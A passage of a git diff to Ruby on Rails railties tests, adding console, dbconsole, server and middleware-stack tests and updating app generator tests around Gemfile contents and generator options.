+++ b/railties/test/application/url_generation_test.rb
@@ -1,7 +1,7 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class UrlGenerationTest < Test::Unit::TestCase
+  class UrlGenerationTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def app
@@ -31,7 +31,7 @@ module ApplicationTests
       end
 
       MyApp.routes.draw do
-        match "/" => "omg#index", :as => :omg
+        get "/" => "omg#index", :as => :omg
       end
 
       require 'rack/test'
diff --git a/railties/test/backtrace_cleaner_test.rb b/railties/test/backtrace_cleaner_test.rb
index 80077378db..2dd74f8fd1 100644
--- a/railties/test/backtrace_cleaner_test.rb
+++ b/railties/test/backtrace_cleaner_test.rb
@@ -1,54 +1,24 @@
 require 'abstract_unit'
 require 'rails/backtrace_cleaner'
 
-if defined? Test::Unit::Util::BacktraceFilter
-  class TestWithBacktrace
-    include Test::Unit::Util::BacktraceFilter
-    include Rails::BacktraceFilterForTestUnit
+class BacktraceCleanerVendorGemTest < ActiveSupport::TestCase
+  def setup
+    @cleaner = Rails::BacktraceCleaner.new
   end
 
-  class BacktraceCleanerFilterTest < ActiveSupport::TestCase
-    def setup
-      @test = TestWithBacktrace.new
-      @backtrace = [ './test/rails/benchmark_test.rb', './test/rails/dependencies.rb', '/opt/local/lib/ruby/kernel.rb' ]
-    end
-
-    test "test with backtrace should use the rails backtrace cleaner to clean" do
-      Rails.stubs(:backtrace_cleaner).returns(stub(:clean))
-      Rails.backtrace_cleaner.expects(:clean).with(@backtrace, nil)
-      @test.send(:filter_backtrace, @backtrace)
-    end
-
-    test "filter backtrace should have the same arity as Test::Unit::Util::BacktraceFilter" do
-      assert_nothing_raised do
-        @test.send(:filter_backtrace, @backtrace, '/opt/local/lib')
-      end
-    end
+  test "should format installed gems correctly" do
+    @backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+    @result = @cleaner.clean(@backtrace, :all)
+    assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
   end
-else
-  $stderr.puts 'No BacktraceFilter for minitest'
-end
-
-if defined? Gem
-  class BacktraceCleanerVendorGemTest < ActiveSupport::TestCase
-    def setup
-      @cleaner = Rails::BacktraceCleaner.new
-    end
 
-    test "should format installed gems correctly" do
-      @backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+  test "should format installed gems not in Gem.default_dir correctly" do
+    @target_dir = Gem.path.detect { |p| p != Gem.default_dir }
+    # skip this test if default_dir is the only directory on Gem.path
+    if @target_dir
+      @backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
       @result = @cleaner.clean(@backtrace, :all)
       assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
     end
-
-    test "should format installed gems not in Gem.default_dir correctly" do
-      @target_dir = Gem.path.detect { |p| p != Gem.default_dir }
-      # skip this test if default_dir is the only directory on Gem.path
-      if @target_dir
-        @backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
-        @result = @cleaner.clean(@backtrace, :all)
-        assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
-      end
-    end
   end
 end
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
new file mode 100644
index 0000000000..91ede1cb68
--- /dev/null
+++ b/railties/test/commands/console_test.rb
@@ -0,0 +1,137 @@
+require 'abstract_unit'
+require 'rails/commands/console'
+
+class Rails::ConsoleTest < ActiveSupport::TestCase
+  class FakeConsole
+    def self.start; end
+  end
+
+  def setup
+  end
+
+  def test_sandbox_option
+    console = Rails::Console.new(app, parse_arguments(["--sandbox"]))
+    assert console.sandbox?
+  end
+
+  def test_short_version_of_sandbox_option
+    console = Rails::Console.new(app, parse_arguments(["-s"]))
+    assert console.sandbox?
+  end
+
+  def test_debugger_option
+    console = Rails::Console.new(app, parse_arguments(["--debugger"]))
+    assert console.debugger?
+  end
+
+  def test_no_options
+    console = Rails::Console.new(app, parse_arguments([]))
+    assert !console.debugger?
+    assert !console.sandbox?
+  end
+
+  def test_start
+    FakeConsole.expects(:start)
+    start
+    assert_match(/Loading \w+ environment \(Rails/, output)
+  end
+
+  def test_start_with_debugger
+    rails_console = Rails::Console.new(app, parse_arguments(["--debugger"]))
+    rails_console.expects(:require_debugger).returns(nil)
+
+    silence_stream(STDOUT) { rails_console.start }
+  end
+
+  def test_start_with_sandbox
+    app.expects(:sandbox=).with(true)
+    FakeConsole.expects(:start)
+
+    start ["--sandbox"]
+
+    assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
+  end
+
+  def test_console_with_environment
+    start ["-e production"]
+    assert_match(/\sproduction\s/, output)
+  end
+
+  def test_console_defaults_to_IRB
+    config = mock("config", :console => nil)
+    app = mock("app", :config => config)
+    app.expects(:load_console).returns(nil)
+
+    assert_equal IRB, Rails::Console.new(app).console
+  end
+
+  def test_default_environment_with_no_rails_env
+    with_rails_env nil do
+      start
+      assert_match /\sdevelopment\s/, output
+    end
+  end
+
+  def test_default_environment_with_rails_env
+    with_rails_env 'special-production' do
+      start
+      assert_match /\sspecial-production\s/, output
+    end
+  end
+  
+  def test_e_option
+    start ['-e', 'special-production']
+    assert_match /\sspecial-production\s/, output
+  end
+
+  def test_environment_option
+    start ['--environment=special-production']
+    assert_match /\sspecial-production\s/, output
+  end
+
+  def test_rails_env_is_production_when_first_argument_is_p
+    start ['p']
+    assert_match /\sproduction\s/, output
+  end
+
+  def test_rails_env_is_test_when_first_argument_is_t
+    start ['t']
+    assert_match /\stest\s/, output
+  end
+
+  def test_rails_env_is_development_when_argument_is_d
+    start ['d']
+    assert_match /\sdevelopment\s/, output
+  end
+
+  private
+
+  attr_reader :output
+
+  def start(argv = [])
+    rails_console = Rails::Console.new(app, parse_arguments(argv))
+    @output = output = capture(:stdout) { rails_console.start }
+  end
+
+  def app
+    @app ||= begin
+      config = mock("config", :console => FakeConsole)
+      app = mock("app", :config => config)
+      app.stubs(:sandbox=).returns(nil)
+      app.expects(:load_console)
+      app
+    end
+  end
+
+  def parse_arguments(args)
+    Rails::Console.parse_arguments(args)
+  end
+
+  def with_rails_env(env)
+    original_rails_env = ENV['RAILS_ENV']
+    ENV['RAILS_ENV'] = env
+    yield
+  ensure
+    ENV['RAILS_ENV'] = original_rails_env
+  end
+end
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
new file mode 100644
index 0000000000..d45bdaabf5
--- /dev/null
+++ b/railties/test/commands/dbconsole_test.rb
@@ -0,0 +1,185 @@
+require 'abstract_unit'
+require 'rails/commands/dbconsole'
+
+class Rails::DBConsoleTest < ActiveSupport::TestCase
+  def teardown
+    %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
+  end
+
+  def test_config
+    Rails::DBConsole.const_set(:APP_PATH, "erb")
+
+    app_config({})
+    capture_abort { Rails::DBConsole.new.config }
+    assert aborted
+    assert_match(/No database is configured for the environment '\w+'/, output)
+
+    app_config(test: "with_init")
+    assert_equal Rails::DBConsole.new.config, "with_init"
+
+    app_db_file("test:\n  without_init")
+    assert_equal Rails::DBConsole.new.config, "without_init"
+
+    app_db_file("test:\n  <%= Rails.something_app_specific %>")
+    assert_equal Rails::DBConsole.new.config, "with_init"
+
+    app_db_file("test:\n\ninvalid")
+    assert_equal Rails::DBConsole.new.config, "with_init"
+  end
+
+  def test_env
+    assert_equal Rails::DBConsole.new.environment, "test"
+
+    ENV['RAILS_ENV'] = nil
+    ENV['RACK_ENV'] = nil
+
+    Rails.stubs(:respond_to?).with(:env).returns(false)
+    assert_equal Rails::DBConsole.new.environment, "development"
+
+    ENV['RACK_ENV'] = "rack_env"
+    assert_equal Rails::DBConsole.new.environment, "rack_env"
+
+    ENV['RAILS_ENV'] = "rails_env"
+    assert_equal Rails::DBConsole.new.environment, "rails_env"
+  ensure
+    ENV['RAILS_ENV'] = "test"
+  end
+
+  def test_mysql
+    dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], 'db')
+    start(adapter: 'mysql', database: 'db')
+    assert !aborted
+  end
+
+  def test_mysql_full
+    dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db')
+    start(adapter: 'mysql', database: 'db', host: 'locahost', port: 1234, socket: 'socket', username: 'user', password: 'qwerty', encoding: 'UTF-8')
+    assert !aborted
+  end
+
+  def test_mysql_include_password
+    dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--user=user', '--password=qwerty', 'db')
+    start({adapter: 'mysql', database: 'db', username: 'user', password: 'qwerty'}, ['-p'])
+    assert !aborted
+  end
+
+  def test_postgresql
+    dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+    start(adapter: 'postgresql', database: 'db')
+    assert !aborted
+  end
+
+  def test_postgresql_full
+    dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+    start(adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3', host: 'host', port: 5432)
+    assert !aborted
+    assert_equal 'user', ENV['PGUSER']
+    assert_equal 'host', ENV['PGHOST']
+    assert_equal '5432', ENV['PGPORT']
+    assert_not_equal 'q1w2e3', ENV['PGPASSWORD']
+  end
+
+  def test_postgresql_include_password
+    dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+    start({adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3'}, ['-p'])
+    assert !aborted
+    assert_equal 'user', ENV['PGUSER']
+    assert_equal 'q1w2e3', ENV['PGPASSWORD']
+  end
+
+  def test_sqlite
+    dbconsole.expects(:find_cmd_and_exec).with('sqlite', 'db')
+    start(adapter: 'sqlite', database: 'db')
+    assert !aborted
+  end
+
+  def test_sqlite3
+    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', Rails.root.join('db.sqlite3').to_s)
+    start(adapter: 'sqlite3', database: 'db.sqlite3')
+    assert !aborted
+  end
+
+  def test_sqlite3_mode
+    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-html', Rails.root.join('db.sqlite3').to_s)
+    start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--mode', 'html'])
+    assert !aborted
+  end
+
+  def test_sqlite3_header
+    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-header', Rails.root.join('db.sqlite3').to_s)
+    start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--header'])
+  end
+
+  def test_sqlite3_db_absolute_path
+    dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '/tmp/db.sqlite3')
+    start(adapter: 'sqlite3', database: '/tmp/db.sqlite3')
+    assert !aborted
+  end
+
+  def test_oracle
+    dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user@db')
+    start(adapter: 'oracle', database: 'db', username: 'user', password: 'secret')
+    assert !aborted
+  end
+
+  def test_oracle_include_password
+    dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user/secret@db')
+    start({adapter: 'oracle', database: 'db', username: 'user', password: 'secret'}, ['-p'])
+    assert !aborted
+  end
+
+  def test_unknown_command_line_client
+    start(adapter: 'unknown', database: 'db')
+    assert aborted
+    assert_match(/Unknown command-line client for db/, output)
+  end
+
+  def test_print_help_short
+    stdout = capture(:stdout) do
+      start({}, ['-h'])
+    end
+    assert aborted
+    assert_equal '', output
+    assert_match(/Usage:.*dbconsole/, stdout)
+  end
+
+  def test_print_help_long
+    stdout = capture(:stdout) do
+      start({}, ['--help'])
+    end
+    assert aborted
+    assert_equal '', output
+    assert_match(/Usage:.*dbconsole/, stdout)
+  end
+
+  private
+  attr_reader :aborted, :output
+
+  def dbconsole
+    @dbconsole ||= Rails::DBConsole.new(nil)
+  end
+
+  def start(config = {}, argv = [])
+    dbconsole.stubs(config: config.stringify_keys, arguments: argv)
+    capture_abort { dbconsole.start }
+  end
+
+  def capture_abort
+    @aborted = false
+    @output = capture(:stderr) do
+      begin
+        yield
+      rescue SystemExit
+        @aborted = true
+      end
+    end
+  end
+
+  def app_db_file(result)
+    IO.stubs(:read).with("config/database.yml").returns(result)
+  end
+
+  def app_config(result)
+    Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
+  end
+end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
new file mode 100644
index 0000000000..4a3ea82e3d
--- /dev/null
+++ b/railties/test/commands/server_test.rb
@@ -0,0 +1,26 @@
+require 'abstract_unit'
+require 'rails/commands/server'
+
+class Rails::ServerTest < ActiveSupport::TestCase
+
+  def test_environment_with_server_option
+    args    = ["thin", "-e", "production"]
+    options = Rails::Server::Options.new.parse!(args)
+    assert_equal 'production', options[:environment]
+    assert_equal 'thin', options[:server]
+  end
+
+  def test_environment_without_server_option
+    args    = ["-e", "production"]
+    options = Rails::Server::Options.new.parse!(args)
+    assert_equal 'production', options[:environment]
+    assert_nil options[:server]
+  end
+
+  def test_server_option_without_environment
+    args    = ["thin"]
+    options = Rails::Server::Options.new.parse!(args)
+    assert_nil options[:environment]
+    assert_equal 'thin', options[:server]
+  end
+end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
new file mode 100644
index 0000000000..5984c0b425
--- /dev/null
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -0,0 +1,59 @@
+require 'minitest/autorun'
+require 'rails/configuration'
+require 'active_support/test_case'
+
+module Rails
+  module Configuration
+    class MiddlewareStackProxyTest < ActiveSupport::TestCase
+      def setup
+        @stack = MiddlewareStackProxy.new
+      end
+
+      def test_playback_insert_before
+        @stack.insert_before :foo
+        assert_playback :insert_before, :foo
+      end
+
+      def test_playback_insert_after
+        @stack.insert_after :foo
+        assert_playback :insert_after, :foo
+      end
+
+      def test_playback_swap
+        @stack.swap :foo
+        assert_playback :swap, :foo
+      end
+
+      def test_playback_use
+        @stack.use :foo
+        assert_playback :use, :foo
+      end
+
+      def test_playback_delete
+        @stack.delete :foo
+        assert_playback :delete, :foo
+      end
+
+      def test_order
+        @stack.swap :foo
+        @stack.delete :foo
+
+        mock = MiniTest::Mock.new
+        mock.expect :send, nil, [:swap, :foo]
+        mock.expect :send, nil, [:delete, :foo]
+
+        @stack.merge_into mock
+        mock.verify
+      end
+
+      private
+
+      def assert_playback(msg_name, args)
+        mock = MiniTest::Mock.new
+        mock.expect :send, nil, [msg_name, args]
+        @stack.merge_into(mock)
+        mock.verify
+      end
+    end
+  end
+end
diff --git a/railties/test/engine_test.rb b/railties/test/engine_test.rb
new file mode 100644
index 0000000000..addf49cdb6
--- /dev/null
+++ b/railties/test/engine_test.rb
@@ -0,0 +1,14 @@
+require 'abstract_unit'
+
+class EngineTest < ActiveSupport::TestCase
+  it "reports routes as available only if they're actually present" do
+    engine = Class.new(Rails::Engine) do
+      def initialize(*args)
+        @routes = nil
+        super
+      end
+    end
+
+    assert !engine.routes?
+  end
+end
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index 51fa2fe16f..bc086c5986 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -9,8 +9,6 @@ class ActionsTest < Rails::Generators::TestCase
   def setup
     Rails.application = TestApp::Application
     super
-    @git_plugin_uri = 'git://github.com/technoweenie/restful-authentication.git'
-    @svn_plugin_uri = 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
   end
 
   def teardown
@@ -37,41 +35,6 @@ class ActionsTest < Rails::Generators::TestCase
     assert_file 'lib/test_file.rb', 'heres block data'
   end
 
-  def test_plugin_with_git_option_should_run_plugin_install
-    generator.expects(:run_ruby_script).once.with("script/rails plugin install #{@git_plugin_uri}", :verbose => false)
-    action :plugin, 'restful-authentication', :git => @git_plugin_uri
-  end
-
-  def test_plugin_with_svn_option_should_run_plugin_install
-    generator.expects(:run_ruby_script).once.with("script/rails plugin install #{@svn_plugin_uri}", :verbose => false)
-    action :plugin, 'restful-authentication', :svn => @svn_plugin_uri
-  end
-
-  def test_plugin_with_git_option_and_branch_should_run_plugin_install
-    generator.expects(:run_ruby_script).once.with("script/rails plugin install -b stable #{@git_plugin_uri}", :verbose => false)
-    action :plugin, 'restful-authentication', :git => @git_plugin_uri, :branch => 'stable'
-  end
-
-  def test_plugin_with_svn_option_and_revision_should_run_plugin_install
-    generator.expects(:run_ruby_script).once.with("script/rails plugin install -r 1234 #{@svn_plugin_uri}", :verbose => false)
-    action :plugin, 'restful-authentication', :svn => @svn_plugin_uri, :revision => 1234
-  end
-
-  def test_plugin_with_git_option_and_submodule_should_use_git_scm
-    generator.expects(:run).with("git submodule add #{@git_plugin_uri} vendor/plugins/rest_auth", :verbose => false)
-    action :plugin, 'rest_auth', :git => @git_plugin_uri, :submodule => true
-  end
-
-  def test_plugin_with_git_option_and_submodule_should_use_git_scm
-    generator.expects(:run).with("git submodule add -b stable #{@git_plugin_uri} vendor/plugins/rest_auth", :verbose => false)
-    action :plugin, 'rest_auth', :git => @git_plugin_uri, :submodule => true, :branch => 'stable'
-  end
-
-  def test_plugin_with_no_options_should_skip_method
-    generator.expects(:run).never
-    action :plugin, 'rest_auth', {}
-  end
-
   def test_add_source_adds_source_to_gemfile
     run_generator
     action :add_source, 'http://gems.github.com'
@@ -95,11 +58,21 @@ class ActionsTest < Rails::Generators::TestCase
   def test_gem_should_insert_on_separate_lines
     run_generator
 
+    File.open('Gemfile', 'a') {|f| f.write('# Some content...') }
+
     action :gem, 'rspec'
     action :gem, 'rspec-rails'
 
-    assert_file 'Gemfile', /gem "rspec"$/
-    assert_file 'Gemfile', /gem "rspec-rails"$/
+    assert_file 'Gemfile', /^gem "rspec"$/
+    assert_file 'Gemfile', /^gem "rspec-rails"$/
+  end
+
+  def test_gem_should_include_options
+    run_generator
+
+    action :gem, 'rspec', github: 'dchelimsky/rspec', tag: '1.2.9.rc1'
+
+    assert_file 'Gemfile', /gem "rspec", github: "dchelimsky\/rspec", tag: "1\.2\.9\.rc1"/
   end
 
   def test_gem_group_should_wrap_gems_in_a_group
@@ -231,14 +204,14 @@ class ActionsTest < Rails::Generators::TestCase
   def test_readme
     run_generator
     Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
-    assert_match(/Welcome to Rails/, action(:readme, "README"))
+    assert_match(/Welcome to Rails/, action(:readme, "README.rdoc"))
   end
 
   def test_readme_with_quiet
     generator(default_arguments, :quiet => true)
     run_generator
     Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
-    assert_no_match(/Welcome to Rails/, action(:readme, "README"))
+    assert_no_match(/Welcome to Rails/, action(:readme, "README.rdoc"))
   end
 
   def test_log
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index 955ed09361..c294bfb238 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -1,4 +1,3 @@
-require 'abstract_unit'
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/app/app_generator'
 require 'generators/shared_generator_tests.rb'
@@ -33,7 +32,6 @@ DEFAULT_APP_FILES = %w(
   test/unit
   vendor
   vendor/assets
-  vendor/plugins
   tmp/cache
   tmp/cache/assets
 )
@@ -55,6 +53,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
     assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/
     assert_file "app/assets/stylesheets/application.css"
     assert_file "config/application.rb", /config\.assets\.enabled = true/
+    assert_file "public/index.html", /url\("assets\/rails.png"\);/
   end
 
   def test_invalid_application_name_raises_an_error
@@ -84,6 +83,16 @@ class AppGeneratorTest < Rails::Generators::TestCase
     assert_equal false, $?.success?
   end
 
+  def test_application_new_show_help_message_inside_existing_rails_directory
+    app_root = File.join(destination_root, 'myfirstapp')
+    run_generator [app_root]
+    output = Dir.chdir(app_root) do
+      `rails new --help`
+    end
+    assert_match(/rails new APP_PATH \[options\]/, output)
+    assert_equal true, $?.success?
+  end
+
   def test_application_name_is_detected_if_it_exists_and_app_folder_renamed
     app_root       = File.join(destination_root, "myapp")
     app_moved_root = File.join(destination_root, "myapp_moved")
@@ -123,13 +132,23 @@ class AppGeneratorTest < Rails::Generators::TestCase
     assert_file "hats/config/environment.rb", /Hats::Application\.initialize!/
   end
 
+  def test_gemfile_has_no_whitespace_errors
+    run_generator
+    absolute = File.expand_path("Gemfile", destination_root)
+    File.open(absolute, 'r') do |f|
+      f.each_line do |line|
+        assert_no_match %r{/^[ \t]+$/}, line
+      end
+    end
+  end
+
   def test_config_database_is_added_by_default
     run_generator
     assert_file "config/database.yml", /sqlite3/
     unless defined?(JRUBY_VERSION)
-      assert_file "Gemfile", /^gem\s+["']sqlite3["']$/
+      assert_gem "sqlite3"
     else
-      assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/
+      assert_gem "activerecord-jdbcsqlite3-adapter"
     end
   end
 
@@ -137,9 +156,9 @@ class AppGeneratorTest < Rails::Generators::TestCase
     run_generator([destination_root, "-d", "mysql"])
     assert_file "config/database.yml", /mysql/
     unless defined?(JRUBY_VERSION)
-      assert_file "Gemfile", /^gem\s+["']mysql2["']$/
+      assert_gem "mysql2"
     else
-      assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/
+      assert_gem "activerecord-jdbcmysql-adapter"
     end
   end
 
@@ -147,45 +166,45 @@ class AppGeneratorTest < Rails::Generators::TestCase
     run_generator([destination_root, "-d", "postgresql"])
     assert_file "config/database.yml", /postgresql/
     unless defined?(JRUBY_VERSION)
-      assert_file "Gemfile", /^gem\s+["']pg["']$/
+      assert_gem "pg"
     else
-      assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/
+      assert_gem "activerecord-jdbcpostgresql-adapter"
     end
   end
 
   def test_config_jdbcmysql_database
     run_generator([destination_root, "-d", "jdbcmysql"])
     assert_file "config/database.yml", /mysql/
-    assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/
+    assert_gem "activerecord-jdbcmysql-adapter"
     # TODO: When the JRuby guys merge jruby-openssl in
     # jruby this will be removed
-    assert_file "Gemfile", /^gem\s+["']jruby-openssl["']$/ if defined?(JRUBY_VERSION)
+    assert_gem "jruby-openssl" if defined?(JRUBY_VERSION)
   end
 
   def test_config_jdbcsqlite3_database
     run_generator([destination_root, "-d", "jdbcsqlite3"])
     assert_file "config/database.yml", /sqlite3/
-    assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/
+    assert_gem "activerecord-jdbcsqlite3-adapter"
   end
 
   def test_config_jdbcpostgresql_database
     run_generator([destination_root, "-d", "jdbcpostgresql"])
     assert_file "config/database.yml", /postgresql/
-    assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/
+    assert_gem "activerecord-jdbcpostgresql-adapter"
   end
 
   def test_config_jdbc_database
     run_generator([destination_root, "-d", "jdbc"])
     assert_file "config/database.yml", /jdbc/
     assert_file "config/database.yml", /mssql/
-    assert_file "Gemfile", /^gem\s+["']activerecord-jdbc-adapter["']$/
+    assert_gem "activerecord-jdbc-adapter"
   end
 
   def test_config_jdbc_database_when_no_option_given
     if defined?(JRUBY_VERSION)
       run_generator([destination_root])
       assert_file "config/database.yml", /sqlite3/
-      assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/
+      assert_gem "activerecord-jdbcsqlite3-adapter"
     end
   end
 
@@ -193,6 +212,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
     run_generator [destination_root, "--skip-active-record"]
     assert_no_file "config/database.yml"
     assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+    assert_file "config/application.rb", /#\s+config\.active_record\.whitelist_attributes = true/
     assert_file "test/test_helper.rb" do |helper_content|
       assert_no_match(/fixtures :all/, helper_content)
     end
@@ -202,12 +222,40 @@ class AppGeneratorTest < Rails::Generators::TestCase
   def test_generator_if_skip_sprockets_is_given
     run_generator [destination_root, "--skip-sprockets"]
     assert_file "config/application.rb" do |content|
-      assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
+      assert_match(/#\s+require\s+["']sprockets\/rails\/railtie["']/, content)
       assert_no_match(/config\.assets\.enabled = true/, content)
     end
+    assert_file "Gemfile" do |content|
+      assert_no_match(/sass-rails/, content)
+      assert_no_match(/coffee-rails/, content)
+      assert_no_match(/uglifier/, content)
+    end
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(/config\.assets\.debug = true/, content)
+    end
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.assets\.digest = true/, content)
+      assert_no_match(/config\.assets\.compress = true/, content)
+    end
     assert_file "test/performance/browsing_test.rb"
   end
 
+  def test_inclusion_of_javascript_runtime
+    run_generator([destination_root])
+    if defined?(JRUBY_VERSION)
+      assert_gem "therubyrhino"
+    else
+      assert_file "Gemfile", /# gem\s+["']therubyracer["']+, platforms: :ruby$/
+    end
+  end
+
+  def test_generator_if_skip_index_html_is_given
+    run_generator [destination_root, "--skip-index-html"]
+    assert_no_file "public/index.html"
+    assert_no_file "app/assets/images/rails.png"
+    assert_file "app/assets/images/.gitkeep"
+  end
+
   def test_creation_of_a_test_directory
     run_generator
     assert_file 'test'
@@ -229,9 +277,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
       assert_match %r{^//= require jquery}, contents
       assert_match %r{^//= require jquery_ujs}, contents
     end
-    assert_file 'Gemfile' do |contents|
-      assert_match(/^gem 'jquery-rails'/, contents)
-    end
+    assert_gem "jquery-rails"
   end
 
   def test_other_javascript_libraries
@@ -240,9 +286,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
       assert_match %r{^//= require prototype}, contents
       assert_match %r{^//= require prototype_ujs}, contents
     end
-    assert_file 'Gemfile' do |contents|
-      assert_match(/^gem 'prototype-rails'/, contents)
-    end
+    assert_gem "prototype-rails"
   end
 
   def test_javascript_is_skipped_if_required
@@ -252,18 +296,9 @@ class AppGeneratorTest < Rails::Generators::TestCase
     end
   end
 
-  def test_inclusion_of_ruby_debug
-    run_generator
-    assert_file "Gemfile" do |contents|
-      assert_match(/gem 'ruby-debug'/, contents) if RUBY_VERSION < '1.9'
-    end
-  end
-
-  def test_inclusion_of_ruby_debug19_if_ruby19
+  def test_inclusion_of_debugger
     run_generator
-    assert_file "Gemfile" do |contents|
-      assert_match(/gem 'ruby-debug19', :require => 'ruby-debug'/, contents) unless RUBY_VERSION < '1.9'
-    end
+    assert_file "Gemfile", /# gem 'debugger'/
   end
 
   def test_template_from_dir_pwd
@@ -277,7 +312,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
   end
 
   def test_default_usage
-    File.expects(:exist?).returns(false)
+    Rails::Generators::AppGenerator.expects(:usage_path).returns(nil)
     assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc)
   end
 
@@ -304,36 +339,47 @@ class AppGeneratorTest < Rails::Generators::TestCase
   def test_new_hash_style
     run_generator [destination_root]
     assert_file "config/initializers/session_store.rb" do |file|
-      if RUBY_VERSION < "1.9"
-        assert_match(/config.session_store :cookie_store, :key => '_.+_session'/, file)
-      else
-        assert_match(/config.session_store :cookie_store, key: '_.+_session'/, file)
-      end
+      assert_match(/config.session_store :cookie_store, key: '_.+_session'/, file)
     end
   end
 
-  def test_force_old_style_hash
-    run_generator [destination_root, "--old-style-hash"]
-    assert_file "config/initializers/session_store.rb" do |file|
-      assert_match(/config.session_store :cookie_store, :key => '_.+_session'/, file)
+  def test_generated_environments_file_for_sanitizer
+    run_generator [destination_root, "--skip-active-record"]
+    %w(development test).each do |env|
+      assert_file "config/environments/#{env}.rb" do |file|
+        assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file)
+      end
     end
   end
 
-  def test_generated_environments_file_for_sanitizer
+  def test_generated_environments_file_for_auto_explain
     run_generator [destination_root, "--skip-active-record"]
-    ["config/environments/development.rb", "config/environments/test.rb"].each do |env_file|
-      assert_file env_file do |file|
-        assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file)
+    %w(development production).each do |env|
+      assert_file "config/environments/#{env}.rb" do |file|
+        assert_no_match %r(auto_explain_threshold_in_seconds), file
       end
     end
   end
 
+  def test_active_record_whitelist_attributes_is_present_application_config
+    run_generator
+    assert_file "config/application.rb", /config\.active_record\.whitelist_attributes = true/
+  end
+
+  def test_pretend_option
+    output = run_generator [File.join(destination_root, "myapp"), "--pretend"]
+    assert_no_match(/run  bundle install/, output)
+  end
+
 protected
 
   def action(*args, &block)
     silence(:stdout) { generator.send(*args, &block) }
   end
 
+  def assert_gem(gem)
+    assert_file "Gemfile", /^gem\s+["']#{gem}["']$/
+  end
 end
 
 class CustomAppGeneratorTest < Rails::Generators::TestCase
diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb
index d6338bd3da..a2b94f2e50 100644
--- a/railties/test/generators/assets_generator_test.rb
+++ b/railties/test/generators/assets_generator_test.rb
@@ -1,7 +1,6 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/assets/assets_generator'
 
-# FIXME: Silence the 'Could not find task "using_coffee?"' message in tests due to the public stub
 class AssetsGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
   arguments %w(posts)
diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb
index a85829085c..6ab1cd58c7 100644
--- a/railties/test/generators/generated_attribute_test.rb
+++ b/railties/test/generators/generated_attribute_test.rb
@@ -69,7 +69,7 @@ class GeneratedAttributeTest < Rails::Generators::TestCase
   end
 
   def test_default_value_for_type
-    att = Rails::Generators::GeneratedAttribute.new("type", "string")
